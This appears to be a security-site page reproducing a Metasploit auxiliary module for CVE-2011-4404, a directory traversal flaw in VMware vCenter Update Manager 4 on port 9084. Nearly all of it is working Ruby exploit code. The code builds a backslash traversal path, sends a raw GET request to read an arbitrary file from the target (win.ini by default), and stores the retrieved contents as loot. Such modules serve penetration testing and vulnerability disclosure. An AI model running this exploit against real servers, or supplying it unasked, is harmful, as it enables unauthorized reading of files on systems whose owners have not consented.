Headline
VMWare Update Manager 4 Directory Traversal
This Metasploit modules exploits a directory traversal vulnerability in VMWare Update Manager on port 9084. Versions affected by this vulnerability: vCenter Update Manager 4.1 prior to Update 2, vCenter Update Manager 4 Update 4.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner def initialize(info={}) super(update_info(info, 'Name' => "VMWare Update Manager 4 Directory Traversal", 'Description' => %q{ This modules exploits a directory traversal vulnerability in VMWare Update Manager on port 9084. Versions affected by this vulnerability: vCenter Update Manager 4.1 prior to Update 2, vCenter Update Manager 4 Update 4. }, 'License' => MSF_LICENSE, 'Author' => [ 'Alexey Sintsov', #Initial discovery, poc 'sinn3r' #Metasploit ], 'References' => [ ['CVE', '2011-4404'], ['EDB', '18138'], ['URL', 'https://www.vmware.com/security/advisories/VMSA-2011-0014.html'], ['URL', 'http://dsecrg.com/pages/vul/show.php?id=342'] ], 'DisclosureDate' => '2011-11-21')) register_options( [ Opt::RPORT(9084), OptString.new('URIPATH', [true, 'URI path to the downloads', '/vci/downloads/']), OptString.new('FILE', [true, 'Define the remote file to download', 'windows\\win.ini']) ]) end def run_host(ip) fname = File.basename(datastore['FILE']) traversal = ".\\..\\..\\..\\..\\..\\..\\..\\" uri = normalize_uri(datastore['URIPATH']) + traversal + datastore['FILE'] print_status("#{rhost}:#{rport} - Requesting: #{uri}") res = send_request_raw({ 'method' => 'GET', 'uri' => uri }, 25) # If there's no response, don't bother if res.nil? or res.body.empty? print_error("No content retrieved from: #{ip}") return end if res.code == 404 print_error("#{rhost}:#{rport} - File not found") return else print_good("File retrieved from: #{ip}") p = store_loot("vmware.traversal.file", "application/octet-stream", rhost, res.to_s, fname) print_good("File stored in: #{p}") end endend